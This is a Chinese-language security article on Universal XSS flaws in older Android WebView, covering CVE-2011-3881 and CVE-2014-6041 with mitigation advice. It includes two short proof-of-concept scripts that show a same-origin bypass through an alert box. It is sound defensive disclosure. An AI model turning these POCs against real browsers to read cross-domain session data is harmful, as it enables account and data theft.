Android安全開發之UXSS漏洞分析

来源:http://www.cnblogs.com/yaq-qq/archive/2016/10/13/5957658.html
-Advertisement-
Play Games

XSS是我們比較熟悉的一種攻擊方式,包括存儲型XSS、反射型XSS、DOM XSS等,但UXSS(通用型XSS)另外一種不同的漏洞類型,主要體現在漏洞的載體和影響範圍上。XSS問題源於某一個WEB站點或應用存在安全問題,但受同源策略的約束,攻擊者只能訪問存在漏洞的站點的回話信息,無法訪問其他域的回話... ...


0X01 前言

XSS是我們比較熟悉的一種攻擊方式,包括存儲型XSS、反射型XSS、DOM XSS等,但UXSS(通用型XSS)另外一種不同的漏洞類型,主要體現在漏洞的載體和影響範圍上。

XSS問題源於某一個WEB站點或應用存在安全問題,但受同源策略的約束,攻擊者只能訪問存在漏洞的站點的回話信息,無法訪問其他域的回話信息。

UXSS則主要源於瀏覽器或瀏覽器擴展程式的安全缺陷,不需要網站本身存在漏洞也可以觸發漏洞,攻擊者可以獲取到瀏覽器打開和緩存的所有頁面(不同域)的會話信息,因此UXSS漏洞的殺傷力極強。

由於Google把WebKit移植到了Android上,並將其作為WebView組件封裝在SDK中,但一些之前出現在PC版chrome的WebKit漏洞在SDK中並未修複,因此歷史的悲劇在android上再一次上演:

 

相關漏洞可以上https://bugs.chromium.org/p/chromium/issues/list搜索。下文介紹幾個對應的漏洞。

 

 

0X02 CVE-2011-3881

WebKit, as used in Google Chrome before 15.0.874.102 and Android before 4.4, allows remote attackers to bypass the Same Origin Policy and conduct Universal XSS (UXSS) attacks via vectors related to

(1) the DOMWindow::clear function and use of a selection object,

(2) the Object::GetRealNamedPropertyInPrototypeChain function and use of an __proto__ property,

(3) the HTMLPlugInImageElement::allowedToLoadFrameURL function and use of a javascript: URL,

(4) incorrect origins for XSLT-generated documents in the XSLTProcessor::createDocumentFromSource function, and

(5) improper handling of synchronous frame loads in the ScriptController::executeIfJavaScriptURL function.

 

該漏洞主要由於HTMLPlugInImageElement::allowedToLoadFrameURL函數中對Javascript URL地址校驗不足,對源檢測不全導致的跨域問題:

POC:

<script>window.onload = function(){

    object = document.createElement("object");

    object.data = "http://google.com/";

    document.body.appendChild(object);

    object.onload = function() {

    object.data = "javascript:alert(document.body.innerHTML)";

    object.innerHTML = "foo";

    }

}</script>

 

0X03 CVE-2014-6041

The Android WebView in Android before 4.4 allows remote attackers to bypass the Same Origin Policy via a crafted attribute containing a \u0000 character, as demonstrated by an onclick="window.open ('\u0000javascript:  sequence to the Android Browser application 4.2.1 or a third-party web browser.

 

由於很多廠商都是直接使用系統自帶的WebView,這將該漏洞的影響進一步擴大化,致使當時很多主流的應用紛紛中槍。

POC:

<input type=button value="test" onclick="

  a=document.createElement('script');

  a.id='AA';

  a.src='\u0000https://js.stripe.com/v2/';

  document.body.appendChild(a);

  setTimeout(function(){if(typeof(document.getElementById('AA'))!=='undefined'){alert(Stripe);}

else{alert(2);}}, 400);

return false;">

 

 

0X04 檢測

這類漏洞可以通過御安全動態的方式進行自動化的檢測,相關檢測樣例可以從https://bugs.chromium.org/p/chromium/issues/detail?id=xxxbugid中查詢到。

 

0X05 安全建議

前面提到的這些UXSS漏洞都已經在Android 4.4中修複,同時它也提供了自動升級webkit的功能,以便及時修複漏洞。

 

用戶:

1)        儘量採用最新版的Android系統

2)        儘量不要隨意點擊安全性未知的鏈接

廠商:

1)        客戶端使用onPageStarted (WebView view, String url, Bitmap favicon)方法在跳轉前進行跨域判斷

2)        使用最新的Webkit內核,但APK的size會變大,並且後續需要跟進Google Webkit官方進行更新。

3)        客戶端對iframe object標簽屬性進行過濾

4)      定期使用漏洞工具檢測(如御安全的漏洞庫將根據市場出現的樣本同步更新)

 

 

0X06 參考

http://drops.wooyun.org/tools/3186

https://bugs.chromium.org/p/chromium/issues/list

https://security.tencent.com/index.php/blog/msg/70

 

 騰訊御安全

 


您的分享是我們最大的動力!

-Advertisement-
Play Games
更多相關文章
  • css的屬性很多,每一個屬性的值也很多,組合起來便有成千上萬種。不同屬性之間的相互組合也可以產生不同的樣式,css真是一種優美的樣式設計語言。下麵對工作中常見的易混淆的屬性和值進行總結: 1. line-height(行高) 帶單位與不帶單位的區別: 我們知道行高是可以繼承的。當父元素的行高值沒有帶 ...
  • 最近使用了一款模板,學習成本比較低,性能也不錯。覺得很好用,所以推薦給大家。 artTemplate 介紹 artTemplate 是新一代 javascript 模板引擎,它採用預編譯方式讓性能有了質的飛躍,並且充分利用 javascript 引擎特性,使得其性能無論在前端還是後端都有極其出色的表 ...
  • 本文首發於個人微信公眾號(xinjie-just)。 HTML是超文本標記語言,它提供網頁的具體內容,包括文本、表單、圖像、表格、鏈接、多媒體、列表等。其中文本是我們遇到的最多的展示內容。正確的使用文本標簽,會使頁面具有語義化,也有利於SEO。 文本標簽主要包括:abbr, address, str ...
  • 1、修改樣式:訪問內聯樣式:elem.style.css屬性名;獲得其他:var style=getComputerStyle(elem);*(* 獲得焦點onfocus;失去焦點onblur;); 2、修改內外部樣式屬性:①獲得樣式表對象:var sheet=document.styleSheet ...
  • 用 MDN 查 JavaScript 和 CSS 基礎知識 用維基百科查編程概念 用 Stackoverflow 查疑難雜症 用 http://Caniuse.com 查相容性 用 Google 搜索 用「site:http://github.com 關鍵詞」搜索好用的庫 用「關鍵詞 MDN」來搜索 ...
  • data-bind綁定語法 Knockout的聲明性綁定系統提供了一種簡潔而強大的方法來將數據鏈接到UI。 綁定到簡單的數據屬性或使用單個綁定通常是容易和明顯的。 對於更複雜的綁定,它有助於更好地瞭解Knockout的綁定系統的行為和語法。 綁定語法 綁定包含兩個項目,綁定名稱和值,用冒號分隔。 這... ...
  • 今天,在運行《第一行代碼》coolweather第二階段代碼,又一次報錯,還是神奇地與昨天相似,提示,city_id欄位不存在,這裡我有兩種理解,一種是sql語句出錯了,另外一種是沒有獲取city_id值,關於前一種,我在”詳細“檢查比較了,County表的建表語句後,首先排除了,然後一股腦投入如何 ...
  • Fragment碎片:作為Activity的一部分,不能單獨使用; 1. Fragment特點: (1)一個Fragment可以在多個Activity中重用; (2)一個Activity內部可以嵌入多個Fragment; 2. Fragment生命周期: 1)啟動app: Activity:onCr ...
一周排行
    -Advertisement-
    Play Games
  • 移動開發(一):使用.NET MAUI開發第一個安卓APP 對於工作多年的C#程式員來說,近來想嘗試開發一款安卓APP,考慮了很久最終選擇使用.NET MAUI這個微軟官方的框架來嘗試體驗開發安卓APP,畢竟是使用Visual Studio開發工具,使用起來也比較的順手,結合微軟官方的教程進行了安卓 ...
  • 前言 QuestPDF 是一個開源 .NET 庫,用於生成 PDF 文檔。使用了C# Fluent API方式可簡化開發、減少錯誤並提高工作效率。利用它可以輕鬆生成 PDF 報告、發票、導出文件等。 項目介紹 QuestPDF 是一個革命性的開源 .NET 庫,它徹底改變了我們生成 PDF 文檔的方 ...
  • 項目地址 項目後端地址: https://github.com/ZyPLJ/ZYTteeHole 項目前端頁面地址: ZyPLJ/TreeHoleVue (github.com) https://github.com/ZyPLJ/TreeHoleVue 目前項目測試訪問地址: http://tree ...
  • 話不多說,直接開乾 一.下載 1.官方鏈接下載: https://www.microsoft.com/zh-cn/sql-server/sql-server-downloads 2.在下載目錄中找到下麵這個小的安裝包 SQL2022-SSEI-Dev.exe,運行開始下載SQL server; 二. ...
  • 前言 隨著物聯網(IoT)技術的迅猛發展,MQTT(消息隊列遙測傳輸)協議憑藉其輕量級和高效性,已成為眾多物聯網應用的首選通信標準。 MQTTnet 作為一個高性能的 .NET 開源庫,為 .NET 平臺上的 MQTT 客戶端與伺服器開發提供了強大的支持。 本文將全面介紹 MQTTnet 的核心功能 ...
  • Serilog支持多種接收器用於日誌存儲,增強器用於添加屬性,LogContext管理動態屬性,支持多種輸出格式包括純文本、JSON及ExpressionTemplate。還提供了自定義格式化選項,適用於不同需求。 ...
  • 目錄簡介獲取 HTML 文檔解析 HTML 文檔測試參考文章 簡介 動態內容網站使用 JavaScript 腳本動態檢索和渲染數據,爬取信息時需要模擬瀏覽器行為,否則獲取到的源碼基本是空的。 本文使用的爬取步驟如下: 使用 Selenium 獲取渲染後的 HTML 文檔 使用 HtmlAgility ...
  • 1.前言 什麼是熱更新 游戲或者軟體更新時,無需重新下載客戶端進行安裝,而是在應用程式啟動的情況下,在內部進行資源或者代碼更新 Unity目前常用熱更新解決方案 HybridCLR,Xlua,ILRuntime等 Unity目前常用資源管理解決方案 AssetBundles,Addressable, ...
  • 本文章主要是在C# ASP.NET Core Web API框架實現向手機發送驗證碼簡訊功能。這裡我選擇是一個互億無線簡訊驗證碼平臺,其實像阿裡雲,騰訊雲上面也可以。 首先我們先去 互億無線 https://www.ihuyi.com/api/sms.html 去註冊一個賬號 註冊完成賬號後,它會送 ...
  • 通過以下方式可以高效,並保證數據同步的可靠性 1.API設計 使用RESTful設計,確保API端點明確,並使用適當的HTTP方法(如POST用於創建,PUT用於更新)。 設計清晰的請求和響應模型,以確保客戶端能夠理解預期格式。 2.數據驗證 在伺服器端進行嚴格的數據驗證,確保接收到的數據符合預期格 ...